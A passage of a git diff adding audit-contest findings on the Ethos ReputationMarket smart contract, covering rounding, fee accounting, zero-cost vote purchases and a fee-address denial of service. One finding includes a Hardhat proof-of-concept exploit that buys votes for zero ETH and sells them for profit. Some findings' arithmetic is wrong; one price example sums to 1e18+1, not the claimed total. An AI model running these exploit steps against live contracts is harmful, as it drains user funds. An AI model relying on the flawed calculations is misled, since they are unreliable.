(await reputationMarket.getMarketConfigCount()) - 1n; + + await reputationMarket.connect(deployer.ADMIN).setUserAllowedToCreateMarket(profileId, true); + + await reputationMarket + .connect(userB.signer) + .createMarketWithConfig(marketConfigIndex, { value: DEFAULT.creationCost }); + + let funds = await reputationMarket.marketFunds(profileId); + console.log(`Market funds (initial state) : ${funds}`); + + // buy positive votes + const votes = 50n; + + for (let i = 0; i < votes; i++) { + await userA.buyVotes({ profileId, votesToBuy: 1n }); + funds = await reputationMarket.marketFunds(profileId); + } + + console.log(`Market funds after buying ${votes} votes : ${funds}`); + + await userA.sellVotes({ profileId, sellVotes: votes }); + funds = await reputationMarket.marketFunds(profileId); + console.log(`Market funds after selling ${votes} votes: ${funds}`); + }); +``` + +Output: +```bash +$ npx hardhat test --grep poc_01 + + + ReputationMarket +Market funds (initial state) : 1000000000000000000 +Market funds after buying 50 votes : 1028092980362016112 +Market funds after selling 50 votes: 999999999999999975 + ✔ poc_01 (1191ms) + + + 1 passing (3s) +``` + + +### Mitigation + +In the `_calcCost()`, determine rounding direction based on `costRatio` sign: + +```solidity + uint256 positiveCostRatio = costRatio > 0 ? uint256(costRatio) : uint256(costRatio * -1); + // multiply cost ratio by base price to get cost; divide by 1e18 to apply ratio + cost = positiveCostRatio.mulDiv( + market.basePrice, + 1e18, +-- isPositive ? Math.Rounding.Floor : Math.Rounding.Ceil +++ costRatio < 0 ? Math.Rounding.Floor : Math.Rounding.Ceil + ); +``` \ No newline at end of file diff --git a/032.md b/032.md new file mode 100644 index 0000000..2c19d73 --- /dev/null +++ b/032.md @@ -0,0 +1,269 @@ +Glamorous Canvas Camel + +Medium + +# Incorrect Cost Calculation in `sellVotes` Allows Withdrawal of Excess Funds + +### Summary + +The `ReputationMarket` contract contains an error in the cost calculation within the `sellVotes` function. Specifically, when calculating the proceeds from selling votes, the contract incorrectly handles negative cost differences by taking the absolute value, which can lead to users withdrawing more funds than they should receive. This miscalculation occurs because the `_calcCost` function ignores the sign of the cost difference (`costDiff`), leading to proceeds being incorrectly treated as positive even when they should be negative. + +### Root Cause + +In the `_calcCost` function, the cost difference (`costRatio`) calculated by the `LMSR.getCost` function can be negative when selling votes. However, `_calcCost` takes the absolute value of `costRatio` without considering whether it's a gain or a loss, resulting in incorrect cost calculations. + +https://github.com/sherlock-audit/2024-12-ethos-update/blob/c3a2b007d0ddfcb476f300f8b766808f0e3e2dfd/ethos/packages/contracts/contracts/ReputationMarket.sol#L1044C1-L1058C7 + + ```solidity + int256 costRatio = LMSR.getCost( + market.votes[TRUST], + market.votes[DISTRUST], + voteDelta[0], + voteDelta[1], + market.liquidityParameter + ); + + uint256 positiveCostRatio = costRatio > 0 ? uint256(costRatio) : uint256(-costRatio); + + // Multiply cost ratio by base price to get cost + cost = positiveCostRatio.mulDiv( + market.basePrice, + 1e18, + isPositive ? Math.Rounding.Floor : Math.Rounding.Ceil + ); + ``` + +In the `sellVotes` function, the proceeds before fees (`proceedsBeforeFees`) are calculated using `_calcCost`, which, due to the absolute value handling, returns a positive value even when `costRatio` is negative. This leads to users potentially receiving funds from the contract when they should actually be paying into the market. + + ```solidity + proceedsBeforeFees = _calcCost(market, isPositive, false, votesToSell); + ``` + The incorrect calculation results in `marketFunds[profileId]` being decreased by the (incorrectly positive) `proceedsBeforeFees`, which can cause the contract's total balance to fall below the correct amount, violating financial invariants and potentially leading to loss of funds. + + + + + + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + + +An attacker can exploit this flaw by selling votes in a scenario where the cost difference (`costDiff`) is negative. Due to the absolute value handling in `_calcCost`, the proceeds are incorrectly calculated as a positive amount, allowing the attacker to receive ETH from the contract when they actually should be paying into it. + +**Example Steps:** + +1. **Market Manipulation:** + - The attacker manipulates the market to create conditions where selling their votes results in a negative `costDiff`. This could involve purchasing a large number of opposing votes to shift the market state. + +2. **Initiate Exploit:** + - The attacker calls `sellVotes` to sell their votes. + +3. **Incorrect Proceeds Calculation:** + - The `_calcCost` function computes `costRatio` as negative due to the market state but then converts it to a positive value using the absolute value, leading to an incorrect positive `proceedsBeforeFees`. + +4. **Withdrawal of Excess Funds:** + - The attacker receives ETH from the contract, withdrawing more funds than appropriate and potentially draining the contract's balance. + +### Impact + +The attacker receives ETH from the contract when they should have been required to pay, improperly withdrawing funds. + +### PoC + +### **Initial Market State** + +Assume the following initial state of the market: + +- **Market Parameters:** + ```solidity + uint256 yesVotes = 2000; + uint256 noVotes = 1000; + uint256 liquidityParameter = 1000; + uint256 basePrice = 1 ether; + ``` + +- **Attacker's Holding:** + ```solidity + uint256 attackerYesVotes = 1000; // Attacker owns 1000 "yes" votes + ``` + +### **Market Manipulation** + +The attacker manipulates the market to create a condition where selling their "yes" votes results in a negative cost difference. + +- **Market Shift:** + - The attacker (or colluding parties) buys additional "no" votes to significantly change the market dynamics. + - **New Market State:** + ```solidity + yesVotes = 2000; + noVotes = 5000; // Increased from 1000 to 5000 + // The attacker's holdings remain the same + ``` + +### **Exploit Execution** + +The attacker proceeds to sell their "yes" votes by calling the `sellVotes` function. + +```solidity +// Attacker calls sellVotes to sell 1000 "yes" votes +reputationMarket.sellVotes( + profileId, // The profile ID of the market + true, // isPositive = true (selling "yes" votes) + 1000, // votesToSell + 0 // minimumVotePrice (set to 0 for simplicity) +); +``` + +### **Incorrect Proceeds Calculation** + +Within the `sellVotes` function, the proceeds are calculated using the `_calcCost` function, which improperly handles negative cost differences. + +**Step-by-Step Calculation:** + +1. **Calculate Proceeds Before Fees:** + + ```solidity + proceedsBeforeFees = _calcCost(market, isPositive, false, votesToSell); + ``` + +2. **Inside `_calcCost`:** + + - **Determine Vote Delta for Selling Votes:** + ```solidity + // Since isPositive is true and isBuy is false, we are selling "yes" votes + voteDelta[0] = market.votes[TRUST] - amount; // Updated "yes" votes + voteDelta[1] = market.votes[DISTRUST]; // "No" votes remain the same + ``` + + After selling: + ```solidity + voteDelta[0] = 2000 - 1000 = 1000; + voteDelta[1] = 5000; + ``` + + - **Calculate Cost Difference Using LMSR:** + ```solidity + int256 costRatio = LMSR.getCost( + market.votes[TRUST], // Current "yes" votes: 2000 + market.votes[DISTRUST], // Current "no" votes: 5000 + voteDelta[0], // Updated "yes" votes: 1000 + voteDelta[1], // Updated "no" votes: 5000 + market.liquidityParameter // Liquidity parameter: 1000 + ); + ``` + + - **In LMSR.getCost Function:** + The cost difference (`costDiff`) is calculated as: + ```solidity + costDiff = newCost - oldCost; + ``` + Because the market has shifted significantly, `newCost` is less than `oldCost`, resulting in a negative `costDiff`. + + - **Incorrect Absolute Value Handling:** + ```solidity + uint256 positiveCostRatio = costRatio > 0 ? uint256(costRatio) : uint256(-costRatio); + ``` + + Here, even though `costRatio` is negative, taking the absolute value makes `positiveCostRatio` positive. + + - **Calculate Cost:** + ```solidity + cost = positiveCostRatio.mulDiv( + market.basePrice, // basePrice = 1 ether + 1e18, + isPositive ? Math.Rounding.Floor : Math.Rounding.Ceil + ); + ``` + + This results in a positive `cost`, which is incorrect because the cost difference should be negative. + +3. **Back to `sellVotes`:** + + - **Proceeding with Incorrect Proceeds:** + ```solidity + proceedsBeforeFees = /* incorrect positive value */; + ``` + + - **Calculate Fees:** + Fees are calculated based on the incorrectly positive `proceedsBeforeFees`. + + - **Update Market Funds and User's Vote Holdings:** + ```solidity + markets[profileId].votes[TRUST] -= votesToSell; // Deduct sold votes + votesOwned[msg.sender][profileId].votes[TRUST] -= votesToSell; + + marketFunds[profileId] -= proceedsBeforeFees; // Decrease market funds incorrectly + ``` + + - **Transfer Funds to Attacker:** + ```solidity + _sendEth(proceedsAfterFees); // Attacker receives ETH + ``` + +### **Outcome** + +As a result of the incorrect cost calculation: + +- The attacker receives ETH from the contract when, in reality, they should have paid ETH into the market due to the negative cost difference. +- The contract's `marketFunds` decreases improperly, potentially leading to a deficit. +- This allows the attacker to withdraw excess funds from the contract. + +### Mitigation + +Modify the `_calcCost` function to return an `int256` representing the actual cost difference, preserving its sign, and adjust the calculation accordingly. + + ```solidity + function _calcCost( + Market memory market, + bool isPositive, + bool isBuy, + uint256 amount + ) private pure returns (int256 cost) { + // Calculate the vote delta + uint256[] memory voteDelta = new uint256[](2); + if (isBuy) { + // ... existing logic ... + } else { + // ... existing logic ... + } + + // Get the cost difference from the LMSR + int256 costRatio = LMSR.getCost( + market.votes[TRUST], + market.votes[DISTRUST], + voteDelta[0], + voteDelta[1], + market.liquidityParameter + ); + + // Multiply cost ratio by base price to get cost + cost = int256(market.basePrice).mulDiv( + costRatio, + 1e18 + ); + } + ``` + +- **Adjust Calling Functions to Handle Negative Proceeds:** + + In the `sellVotes` function, check if the `proceedsBeforeFees` is negative. If it is, handle the case appropriately, such as requiring the seller to pay into the market or preventing the sale. + + ```solidity + int256 proceedsBeforeFees = _calcCost(market, isPositive, false, votesToSell); + if (proceedsBeforeFees <= 0) { + // The seller should not receive funds; optionally, they may need to pay in + revert InvalidSellOperation("Proceeds cannot be negative"); + } + + uint256 proceeds = uint256(proceedsBeforeFees); + + // Proceed with fee deductions and ETH transfer + ``` \ No newline at end of file diff --git a/033.md b/033.md new file mode 100644 index 0000000..46a83c3 --- /dev/null +++ b/033.md @@ -0,0 +1,226 @@ +Glamorous Canvas Camel + +Medium + +# Contract Balance May Become Less Than Total Active Market Funds Due to Fee Transfers + +### Summary + +The `ReputationMarket` contract violates the invariant that "Total contract balance must be greater or equal to all active (non-graduated) market funds." This issue arises because protocol fees and donations are immediately transferred out of the contract during buy and sell operations, reducing the contract's ETH balance without a corresponding decrease in `marketFunds`. As a result, over time, the contract's balance can become less than the total `marketFunds` of all active markets, potentially leading to scenarios where the contract cannot fulfill its obligations to users during withdrawals or market graduations. + +### Root Cause + +## **Broken Invariant** + +From the contract's documentation: + +> **Total contract balance must be greater or equal to all active (non-graduated) market funds** + +--- + + +- **Immediate Transfer of Fees and Donations:** + + In the `applyFees` function, protocol fees are immediately sent to the `protocolFeeAddress`, and donations are allocated to `donationEscrow`. This reduces the contract's ETH balance. + + +https://github.com/sherlock-audit/2024-12-ethos-update/blob/c3a2b007d0ddfcb476f300f8b766808f0e3e2dfd/ethos/packages/contracts/contracts/ReputationMarket.sol#L1086C1-L1097C4 + + +```solidity + function applyFees( + uint256 protocolFee, + uint256 donation, + uint256 marketOwnerProfileId + ) private returns (uint256 fees) { + // Allocate donation to escrow + donationEscrow[donationRecipient[marketOwnerProfileId]] += donation; + + // Transfer protocol fees immediately + if (protocolFee > 0) { + (bool success, ) = protocolFeeAddress.call{ value: protocolFee }(""); + if (!success) revert FeeTransferFailed("Protocol fee deposit failed"); + } + fees = protocolFee + donation; + } + ``` + +- **Market Funds Not Adjusted for Fees:** + + In the `buyVotes` and `sellVotes` functions, `marketFunds` is adjusted by `purchaseCostBeforeFees` or `proceedsBeforeFees`, which do not include fees or donations. Therefore, `marketFunds` does not account for ETH leaving the contract due to fees. + + ```solidity + // In buyVotes: + marketFunds[profileId] += purchaseCostBeforeFees; + + // In sellVotes: + marketFunds[profileId] -= proceedsBeforeFees; + ``` + +- **Contract Balance Reduction Without Corresponding Adjustment:** + + As fees and donations are transferred out, the contract's ETH balance decreases. However, since `marketFunds` is not reduced by these amounts, the total `marketFunds` can exceed the contract's ETH balance, violating the invariant. + + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + +While this issue may not be directly exploitable by a malicious actor to drain funds, it can lead to a scenario where the contract is unable to meet its obligations due to internal accounting inconsistencies. + +**Scenario Steps:** + +1. **Users Buy Votes with Fees and Donations:** + + - A user buys votes: + + - `purchaseCostBeforeFees`: 10 ETH + - Protocol fee (e.g., 5%): 0.5 ETH + - Donation (e.g., 2%): 0.2 ETH + - `totalCostIncludingFees`: 10.7 ETH + + - `marketFunds` increases by `purchaseCostBeforeFees` (10 ETH). + + - The contract's ETH balance increases by `totalCostIncludingFees` (10.7 ETH). + + - Protocol fee and donation are immediately transferred out: + + ```solidity + applyFees(protocolFee, donation, profileId); + ``` + + - Contract's ETH balance net increase: 10.7 ETH - 0.5 ETH (protocol fee) = 10.2 ETH + - Donation is allocated to `donationEscrow`, reducing available funds for market obligations. + +2. **Repeated Transactions Reduce Available Balance:** + + - Repeating such transactions, the contract's ETH balance continues to decrease relative to `marketFunds` due to the immediate transfer of fees and allocation of donations. + +3. **Violation of Invariant:** + + - Over time, the total `marketFunds` can exceed the contract's ETH balance. + + - **Example:** + + - Total `marketFunds`: 200 ETH + - Contract's ETH balance: 180 ETH (due to 20 ETH in protocol fees and donations transferred out) + + - Contract balance (180 ETH) < Total `marketFunds` (200 ETH) + +### Impact + +_No response_ + +### PoC + + +### **Setup** + +- **Initial State:** + + - Contract's ETH Balance: 100 ETH + - `marketFunds[Market A]`: 100 ETH + - Protocol fees and donations are not yet collected. + +### **Transaction 1: User Buys Votes** + +- **User Buys Votes in Market A:** + + ```solidity + // Variables + uint256 purchaseCostBeforeFees = 10 ETH; + uint256 protocolFee = 0.5 ETH; // 5% of 10 ETH + uint256 donation = 0.2 ETH; // 2% of 10 ETH + uint256 totalCostIncludingFees = 10 ETH + 0.5 ETH + 0.2 ETH = 10.7 ETH; + ``` + +- **Contract State Changes:** + + - `marketFunds[Market A]` increases by `purchaseCostBeforeFees` (10 ETH): + + ```solidity + marketFunds[marketAProfileId] += purchaseCostBeforeFees; // +10 ETH + ``` + + - Contract's ETH balance increases by `totalCostIncludingFees` (10.7 ETH): + + ```solidity + // User sends 10.7 ETH to the contract + ``` + + - Protocol fee and donation are transferred out or allocated: + + ```solidity + applyFees(protocolFee, donation, marketAProfileId); + ``` + + - Contract's ETH balance decreases by protocol fee (0.5 ETH): + + ```solidity + // Send 0.5 ETH to protocolFeeAddress + ``` + + - Donation (0.2 ETH) is allocated to `donationEscrow` (not immediately affecting ETH balance but reserved). + + - **Net Changes:** + + - Contract's ETH balance net increase: 10.7 ETH - 0.5 ETH = 10.2 ETH + - `marketFunds[Market A]` increased by 10 ETH + - `donationEscrow` increased by 0.2 ETH (reserved funds) + +### **Contract Balance vs. Market Funds** + +- **After Transaction 1:** + + - `marketFunds[Market A]`: 110 ETH (initial 100 ETH + 10 ETH) + - Contract's ETH balance: 110.2 ETH (initial 100 ETH + net increase 10.2 ETH) + - **Contract Balance (110.2 ETH) >= `marketFunds` (110 ETH)** + +- **However, 0.2 ETH in `donationEscrow` is reserved and effectively reduces available ETH.** + +- **Available ETH Balance:** 110.2 ETH - 0.2 ETH (donations) = 110 ETH + +### **Repeated Transactions** + +- **Over Time:** + + - Protocol fees and donations continue to be transferred out or allocated. + - Contract's ETH balance grows at a slower rate than `marketFunds` due to fees being sent out. + +- **Example After Multiple Transactions:** + + - Total `marketFunds` across all markets: 500 ETH + - Contract's ETH balance: 480 ETH + - Donations in `donationEscrow`: 10 ETH + - **Available ETH Balance:** 480 ETH - 10 ETH = 470 ETH + +- **Result:** + + - Available ETH Balance (470 ETH) < Total `marketFunds` (500 ETH) + - **Invariant Violated:** Contract balance is less than total `marketFunds` + +### Mitigation + +To maintain the invariant and ensure that the contract has sufficient funds to meet its obligations, adjust `marketFunds` to account for protocol fees and donations that are transferred out or allocated. + +- **Subtract Fees from `marketFunds` During Transactions:** + + - **In `buyVotes`:** + + ```solidity + // Adjust marketFunds by the net amount after fees and donations + marketFunds[profileId] += purchaseCostBeforeFees - (protocolFee + donation); + ``` + + - **In `sellVotes`:** + + ```solidity + // Adjust marketFunds by the net amount after fees + marketFunds[profileId] -= proceedsBeforeFees - protocolFee; + ``` \ No newline at end of file diff --git a/034.md b/034.md new file mode 100644 index 0000000..3a96324 --- /dev/null +++ b/034.md @@ -0,0 +1,201 @@ +Glamorous Canvas Camel + +Medium + +# Rounding Errors in Price Calculation May Violate LMSR Invariant + +### Summary + +The `ReputationMarket` contract is designed to maintain the LMSR (Logarithmic Market Scoring Rule) invariant that the sum of the prices of "trust" and "distrust" votes equals the `basePrice`. However, due to inconsistent and improper rounding in the `_calcVotePrice` function, this invariant can be violated. The function applies rounding methods that, in certain scenarios, cause the sum of the calculated prices to be less than 1. + +### Root Cause + + +## **Broken Invariant** + +From the contract's documentation: + +> **Must maintain LMSR invariant (yes + no price sum to 1)** + +--- + + +- **Incorrect Rounding in Price Calculation:** + + The `_calcVotePrice` function calculates the price of trust and distrust votes using the odds multiplied by the `basePrice`. However, it applies rounding inconsistently and opposite to the intended way, as per the comments in the code. + + +https://github.com/sherlock-audit/2024-12-ethos-update/blob/c3a2b007d0ddfcb476f300f8b766808f0e3e2dfd/ethos/packages/contracts/contracts/ReputationMarket.sol#L992C1-L1004C4 + +```solidity + function _calcVotePrice(Market memory market, bool isPositive) private pure returns (uint256) { + // odds are in a ratio of N / 1e18 + uint256 odds = LMSR.getOdds( + market.votes[TRUST], + market.votes[DISTRUST], + market.liquidityParameter, + isPositive + ); + // multiply odds by base price to get price; divide by 1e18 to get price in wei + // round up for trust, down for distrust so that prices always equal basePrice + return + odds.mulDiv( + market.basePrice, + 1e18, + isPositive ? Math.Rounding.Floor : Math.Rounding.Ceil + ); + } + ``` + + - **Inconsistent Rounding:** + + - The comment says: + + > "round up for trust, down for distrust so that prices always equal basePrice" + + - However, in the code: + + - For **trust** votes (`isPositive == true`), it uses `Math.Rounding.Floor` (rounds down). + - For **distrust** votes (`isPositive == false`), it uses `Math.Rounding.Ceil` (rounds up). + + This is the opposite of what the comment indicates and what is needed to ensure the prices sum to `basePrice`. + +- **Violation of Invariant Due to Rounding Errors:** + + Because of the incorrect rounding, the sum of `trustPrice` and `distrustPrice` may become less than the `basePrice`. This violates the invariant that the sum must always equal `basePrice`. + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Because of the incorrect rounding, the sum of `trustPrice` and `distrustPrice` may become less than the `basePrice`. This violates the invariant that the sum must always equal `basePrice`. + +### PoC + +**Market Parameters:** + +- `trustVotes = 1000` +- `distrustVotes = 2000` +- `basePrice = 1 ether` (1e18 wei) +- `liquidityParameter = 1000` + +### **Calculating Odds** + +Using the `LMSR.getOdds` function: + +```solidity +uint256 oddsTrust = LMSR.getOdds( + trustVotes, // 1000 + distrustVotes, // 2000 + liquidityParameter, // 1000 + true // isPositive = true for trust votes +); + +uint256 oddsDistrust = LMSR.getOdds( + trustVotes, // 1000 + distrustVotes, // 2000 + liquidityParameter, // 1000 + false // isPositive = false for distrust votes +); +``` + +Assuming `getOdds` function returns odds in UD60x18 format (scaled by 1e18). Suppose the calculated odds are: + +- `oddsTrust = 268941421369995120` (approximately 0.2689 * 1e18) +- `oddsDistrust = 731058578630004880` (approximately 0.7310 * 1e18) + +### **Calculating Prices** + +Using the `_calcVotePrice` function: + +```solidity +// Calculating trust price +uint256 trustPrice = oddsTrust.mulDiv( + basePrice, // 1 ether + 1e18, + Math.Rounding.Floor // Since isPositive is true, uses Floor (should be Ceil as per the comment) +); + +// Calculating distrust price +uint256 distrustPrice = oddsDistrust.mulDiv( + basePrice, // 1 ether + 1e18, + Math.Rounding.Ceil // Since isPositive is false, uses Ceil (should be Floor as per the comment) +); +``` + +**Values after Calculation:** + +- **Trust Price:** + + ```solidity + trustPrice = (268941421369995120 * 1e18) / 1e18 = 268941421369995120 wei (no rounding needed) + ``` + +- **Distrust Price:** + + ```solidity + distrustPrice = (731058578630004880 * 1e18 + (1e18 - 1)) / 1e18 = 731058578630004881 wei (rounding up) + ``` + +### **Summing Prices** + +```solidity +uint256 sumPrices = trustPrice + distrustPrice; +// sumPrices = 268941421369995120 + 731058578630004881 = 999999999999999999 wei +``` + +**Expected Sum:** + +- `basePrice = 1 ether = 1e18 wei` + +**Difference:** + +- `basePrice - sumPrices = 1e18 - 999999999999999999 = 1 wei` + +### **Violation of Invariant** + +The sum of `trustPrice` and `distrustPrice` is less than `basePrice` by `1 wei`, thereby violating the invariant that the sum must equal `basePrice`. + +### **Cause of the Violation** + +- The incorrect rounding directions applied in the `_calcVotePrice` function cause this discrepancy. +- By rounding **down** for `trustPrice` and **up** for `distrustPrice`, the inevitable loss due to integer division accumulates, leading to a total sum less than `basePrice`. + +### Mitigation + +To fix the issue and ensure the sum of the prices always equals `basePrice`, the rounding directions in the `_calcVotePrice` function should be corrected to match the intention stated in the comment: + +- **Round up for trust votes and round down for distrust votes.** + +### **Corrected Code:** + +```solidity +function _calcVotePrice(Market memory market, bool isPositive) private pure returns (uint256) { + // odds are in a ratio of N / 1e18 + uint256 odds = LMSR.getOdds( + market.votes[TRUST], + market.votes[DISTRUST], + market.liquidityParameter, + isPositive + ); + // multiply odds by base price to get price; divide by 1e18 to get price in wei + // round up for trust, down for distrust so that prices always equal basePrice + return + odds.mulDiv( + market.basePrice, + 1e18, + isPositive ? Math.Rounding.Ceil : Math.Rounding.Floor + ); +} +``` \ No newline at end of file diff --git a/035.md b/035.md new file mode 100644 index 0000000..9016108 --- /dev/null +++ b/035.md @@ -0,0 +1,188 @@ +Strong Daffodil Jaguar + +Medium + +# User Can Buy Votes For Zero ETH + +### Summary + +In the Reputation Market, we assume two critical assumptions: + +1. Base price must be >= MINIMUM_BASE_PRICE (0.0001 ether). +2. The LMSR invariant must be maintained (yes + no price sum to 1). + +If these assumptions are violated, it becomes possible for a user to exploit the system by purchasing votes (trust or distrust, depending on the proportions) for less than the MINIMUM_BASE_PRICE or even for nothing (ZERO ETH). + +As a result, an attacker could acquire a portion of the trust or distrust votes for free, paying only the gas fees for the transaction. Furthermore, if the number of opposing votes changes beyond a specific threshold, the attacker could sell their votes at a non-zero price. Essentially, the attacker would have bought votes at ZERO ETH and sold them at a profit, exploiting the broken market dynamics. + +### Root Cause + +Break a concept: +The main violation is allowing a user/attacker to purchase votes at a price of zero ETH. +Also, it breaks the LMSR invariant that: yes + no price sum must equal to 1; in this case, yes + no price < 1. + +The break of those concepts allows you to purchase yes or no vote for ZERO ETH paying only the gas fees. + +```Solidity +if (total > msg.value) revert InsufficientFunds(); +``` +(https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L440C3-L467C6) + +This line of code is in buyVotes() in ReputationMarket.sol +Then, if total = 0 and msg.value = 0, then you can overcome this condition (total will be equal zero when distrust vote equal Zero) + +### Internal Pre-conditions + +1. The admin needs to create a reputation contract with a default tier config +2. A user or group of users must buy all the trust OR distrust votes which cap at 133,000 votes on each side for the default tier. i.e. Trust vote ~ 133,000 +3. The opposite vote number must be 1 or less. i.e Distrust vote <= 1 + +### External Pre-conditions + +No need for any change outside the protocol + +### Attack Path + +1. Attacker will buy a specific number of distrust votes for ZERO Eth/free +2. Attacker will monitor the selling for trust votes reaching a number beyond a specific threshold +3. Then, the attacker will sell his/her distrust making money + +Notice: the amount of money the attacker makes depends on how much the users sell of the opposite vote beyond a specific threshold. + +### Impact + +If the attacker buys distrust vote for 0, sell the,m, and gain up to 903 ETH. +Attacker range of gain: [0.008, 903] +If the attacker is paying 0 ETH, he is able to also avoid paying protocol fees. + +If the admin used another tier with lower liquidity and higher volatility, then the number of votes will be lower meaning a higher volatility and less threshold (opposite vote number decreament) for the attacker to start making money. +In the PoC, the attacker needs a 35K decrease in the trust vote to make money. +If the liquidity is lower, the total trust or distrust votes will be less than 133K and less than 35k decrease will be needed to make money for ZERO ETH upfront + + +### PoC + +```JavaScript +import { loadFixture } from '@nomicfoundation/hardhat-toolbox/network-helpers.js'; +import { expect, use } from 'chai'; +import chaiAsPromised from 'chai-as-promised'; +import { type ReputationMarket } from '../../typechain-types/index.js'; +import { createDeployer, type EthosDeployer } from '../utils/deployEthos.js'; +import { MarketUser } from './utils.js'; + +import hre from 'hardhat'; +const { ethers } = hre; + +use(chaiAsPromised as Chai.ChaiPlugin); + +// the deployer (admin) will deploy reputation market with defual tier config +// create two users: userA and attacker + +describe('User Can Buy Votes For Zero ETH ', () => { + let deployer: EthosDeployer; + let userA: MarketUser; + let attacker: MarketUser; + let reputationMarket: ReputationMarket; + + const DEFAULT = { + reputationMarket: undefined as unknown as ReputationMarket, + profileId: 1n, + liquidity: 1000n, + buyAmount: ethers.parseEther('.01'), + value: { value: ethers.parseEther('.1') }, + isPositive: true, + creationCost: ethers.parseEther('.2'), + }; + + beforeEach(async () => { + deployer = await loadFixture(createDeployer); + + if (!deployer.reputationMarket.contract) { + throw new Error('ReputationMarket contract not found'); + } + const [marketUser, ethosUserA, ethosattacker] = await Promise.all([ + deployer.createUser(), + deployer.createUser(), + deployer.createUser(), + ]); + await Promise.all([ethosUserA.setBalance('4000'), ethosattacker.setBalance('0.04')]); + + userA = new MarketUser(ethosUserA.signer); + attacker = new MarketUser(ethosattacker.signer); + + reputationMarket = deployer.reputationMarket.contract; + DEFAULT.reputationMarket = reputationMarket; + DEFAULT.profileId = marketUser.profileId; + + await reputationMarket + .connect(deployer.ADMIN) + .createMarketWithConfigAdmin(marketUser.signer.address, 0, { + value: DEFAULT.creationCost, + }); + }); + + // this represent userA selling only 35K of his trust votes + // attacker can generate some money + it('Minor change in opposite vote number', async () => { + + console.log("attacker Intial Balance", await ethers.provider.getBalance(attacker.signer)); + console.log( "Start Market", await reputationMarket.getMarket(DEFAULT.profileId)); + + + console.log("Before posvote price", await reputationMarket.getVotePrice(DEFAULT.profileId, true)); + console.log("Before negvote price", await reputationMarket.getVotePrice(DEFAULT.profileId, false)); + + await reputationMarket.connect(userA.signer).buyVotes(DEFAULT.profileId, true, 132999n,0n, {value: ethers.parseEther('1500')}); + // here the attacker is able to buy 91K votes for zero ETH + await reputationMarket.connect(attacker.signer).buyVotes(DEFAULT.profileId, false, 91000n,0n, {value: ethers.parseEther('0')}); + + // Here you can see that the sum of trust and distrust vote does not equal the base price + console.log("After posvote price", await reputationMarket.getVotePrice(DEFAULT.profileId, true)) + console.log("After negvote price", await reputationMarket.getVotePrice(DEFAULT.profileId, false)); + await reputationMarket.connect(userA.signer).sellVotes(DEFAULT.profileId, true, 35000n, 0); + console.log("After negvote price", await reputationMarket.getVotePrice(DEFAULT.profileId, false)); + await reputationMarket.connect(attacker.signer).sellVotes(DEFAULT.profileId, false, 91000n, 0); + console.log( await reputationMarket.getMarket(DEFAULT.profileId)); + + // attacker is able to gain 0.008 ETH (his inital balance was 0.04); in the next function he make much more + console.log("attacker End balance ", await ethers.provider.getBalance(attacker.signer)); + + }); + + + // this repesetn userA selling all his turst votes + // attacker will be able a great amount of money + it('Major change in opposite vote number', async () => { + + console.log("attacker Intial Balance", await ethers.provider.getBalance(attacker.signer)); + console.log("Start Market", await reputationMarket.getMarket(DEFAULT.profileId)); + + + console.log("Before posvote price", await reputationMarket.getVotePrice(DEFAULT.profileId, true)); + console.log("Before negvote price", await reputationMarket.getVotePrice(DEFAULT.profileId, false)); + + await reputationMarket.connect(userA.signer).buyVotes(DEFAULT.profileId, true, 132999n,0n, {value: ethers.parseEther('1500')}); + // here the attacker is able to buy 91K votes for zero ETH + await reputationMarket.connect(attacker.signer).buyVotes(DEFAULT.profileId, false, 91000n,0n, {value: ethers.parseEther('0')}); + + // Here you can see that the sum of trust and distrust vote does not equal the base price + console.log("After posvote price", await reputationMarket.getVotePrice(DEFAULT.profileId, true)); + console.log("After negvote price", await reputationMarket.getVotePrice(DEFAULT.profileId, false)); + await reputationMarket.connect(userA.signer).sellVotes(DEFAULT.profileId, true, 132999n, 0); + console.log("After negvote price", await reputationMarket.getVotePrice(DEFAULT.profileId, false)); + await reputationMarket.connect(attacker.signer).sellVotes(DEFAULT.profileId, false, 91000n, 0); + console.log( await reputationMarket.getMarket(DEFAULT.profileId)); + + // Attacker is able to make ~ 903 ETH + console.log("attacker End balance ", await ethers.provider.getBalance(attacker.signer)); + +}); +}); +``` + +### Mitigation + +Check in+ buyVotes() function that: +- check if msg.value != 0 +- check if total == 0 +Remmeber, these are cause by price of distrust vote dropping to zero \ No newline at end of file diff --git a/036.md b/036.md new file mode 100644 index 0000000..7ec17ab --- /dev/null +++ b/036.md @@ -0,0 +1,42 @@ +Shambolic Opaque Swift + +Medium + +# An admin misconfiguration will cause a DoS for all market users + +### Summary + +The lack of validation in `setProtocolFeeAddress` will cause a complete denial-of-service (DoS) for all market participants as an admin can set `protocolFeeAddress` to a non-payable contract, making fee transfers revert and halting core functionalities. + +### Root Cause + +In [ReputationMarket.sol#L1093](https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L924C1-L934C57) the function `applyFees` immediately sends ETH to `protocolFeeAddress`. However, in `setProtocolFeeAddress`, there is no validation to ensure the new address can receive ETH. This omission allows admins to accidentally configure a non-payable address, causing all subsequent fee transfers to fail. + +### Internal Pre-conditions + +1. Admin calls `setProtocolFeeAddress` with a contract address that cannot receive ETH (e.g., no payable fallback). +2. The protocol sets `protocolFeeAddress` to this invalid address without any checks. + +### External Pre-conditions + +_No response_ + +### Attack Path + +1. The admin sets `protocolFeeAddress` to a non-payable contract via `setProtocolFeeAddress`. +2. A user calls `buyVotes` or `sellVotes`, triggering the `applyFees` function. +3. `applyFees` attempts to send ETH to the invalid `protocolFeeAddress`, reverting the transaction. +4. All subsequent fee-based operations fail, causing a complete DoS. + +### Impact + +The entire protocol is effectively shut down for fee-based operations because transactions will revert when sending ETH to the invalid address. Users cannot buy or sell votes, and the market is unusable until the admin corrects the address. + +### PoC + +_No response_ + +### Mitigation + +1. **Validate the address:** Ensure `protocolFeeAddress` is capable of receiving ETH. One approach is to test-send a minimal amount of ETH before finalizing the change. +2. **Batch Fee Collection:** Accumulate fees in the contract, then allow periodic manual withdrawal by the admin. Even if the withdrawal address fails, it won’t break user-facing functionality. \ No newline at end of file diff --git a/037.md b/037.md new file mode 100644 index 0000000..dc366c9 --- /dev/null +++ b/037.md @@ -0,0 